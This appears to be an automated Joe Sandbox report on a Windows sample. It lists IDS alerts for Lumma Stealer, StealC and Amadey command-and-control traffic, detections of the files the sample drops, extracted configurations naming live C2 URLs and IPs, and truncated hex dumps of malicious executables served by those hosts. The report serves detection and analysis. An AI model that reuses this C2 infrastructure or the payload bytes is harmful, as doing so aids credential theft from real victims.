2024-10-07T13:27:49.664856+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.5	51257	1.1.1.1	53	UDP
2024-10-07T13:28:12.442383+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.5	60242	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:30.141186+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.5	62540	1.1.1.1	53	UDP
2024-10-07T13:27:49.653771+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.5	55255	1.1.1.1	53	UDP
2024-10-07T13:28:12.414390+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.5	63760	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:30.347636+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.5	60548	1.1.1.1	53	UDP
2024-10-07T13:27:49.712916+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.5	62799	1.1.1.1	53	UDP
2024-10-07T13:28:12.506220+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.5	54050	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:30.123278+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.5	63849	1.1.1.1	53	UDP
2024-10-07T13:27:49.640141+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.5	63944	1.1.1.1	53	UDP
2024-10-07T13:28:12.397499+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.5	61767	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:30.322971+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.5	64153	1.1.1.1	53	UDP
2024-10-07T13:27:49.700402+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.5	50418	1.1.1.1	53	UDP
2024-10-07T13:28:12.476287+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.5	56144	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:30.283409+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.5	55322	1.1.1.1	53	UDP
2024-10-07T13:27:49.676209+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.5	50387	1.1.1.1	53	UDP
2024-10-07T13:28:12.454781+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.5	63026	1.1.1.1	53	UDP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:23.335796+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50012	185.215.113.37	80	TCP
2024-10-07T13:27:39.542721+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50035	185.215.113.37	80	TCP
2024-10-07T13:28:04.325085+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50048	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:04.696470+0200	2856147	1	A Network Trojan was detected	192.168.2.5	49904	185.215.113.43	80	TCP
2024-10-07T13:32:22.001315+0200	2856147	1	A Network Trojan was detected	192.168.2.5	50163	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:11.528104+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49920	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:08.244842+0200	2803305	3	Unknown Traffic	192.168.2.5	49925	185.215.113.103	80	TCP
2024-10-07T13:27:21.293884+0200	2803305	3	Unknown Traffic	192.168.2.5	50003	185.215.113.103	80	TCP
2024-10-07T13:27:25.753566+0200	2803305	3	Unknown Traffic	192.168.2.5	50023	185.215.113.103	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: xwZfYpo16i.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware
Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen

Found malware configuration

Source: 00000003.00000003.2117620927.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 41.0.num.exe.640000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: xwZfYpo16i.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0064C820 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,lstrcatA,	22_2_0064C820
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_00647240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	22_2_00647240
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_00649AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	22_2_00649AC0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_00658EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	22_2_00658EA0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_00649B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	22_2_00649B60

Source: xwZfYpo16i.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49998 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.69.239.74:443 -> 192.168.2.5:50128 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EADBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	7_2_00EADBBE
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E7C2A2 FindFirstFileExW,	7_2_00E7C2A2
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EB68EE FindFirstFileW,FindClose,	7_2_00EB68EE
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EB698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	7_2_00EB698F
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EAD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	7_2_00EAD076
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EAD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	7_2_00EAD3A9
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EB9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	7_2_00EB9642
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EB979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	7_2_00EB979D
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EB9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	7_2_00EB9B2B
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EB5C97 FindFirstFileW,FindNextFileW,FindClose,	7_2_00EB5C97
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0064E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	22_2_0064E430
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_006538B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	22_2_006538B0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_00654570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	22_2_00654570
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0064ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	22_2_0064ED20
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_00654910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_00654910
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0064BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	22_2_0064BE70
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0064DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_0064DE10
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_006416D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_006416D0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_00653EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	22_2_00653EA0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0064F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_0064F6B0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0064DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	22_2_0064DA80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49904 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49951 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49920
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50012 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50019 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:63892 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:61141 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:55322 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:62540 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:60548 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:56226 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50028 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:63849 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:64153 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:50418 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:50387 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:62799 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:61767 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:63760 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:60242 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:63944 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:51257 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50048 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:60396 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:56471 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50035 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:64118 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:63026 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:54050 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50163 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:56144 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:50528 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:55255 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50031 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50031 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50043 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50043 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50056 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50056 -> 172.67.206.204:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 11:27:08 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 07 Oct 2024 11:12:25 GMTETag: "e0600-623e1187eed72"Accept-Ranges: bytesContent-Length: 919040Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 11 c2 03 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 56 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 5b 06 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 b8 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 9b 00 00 00 40 0d 00 00 9c 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 90 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 11:27:21 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTETag: "4cc00-6233dc0bf3e80"Accept-Ranges: bytesContent-Length: 314368Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 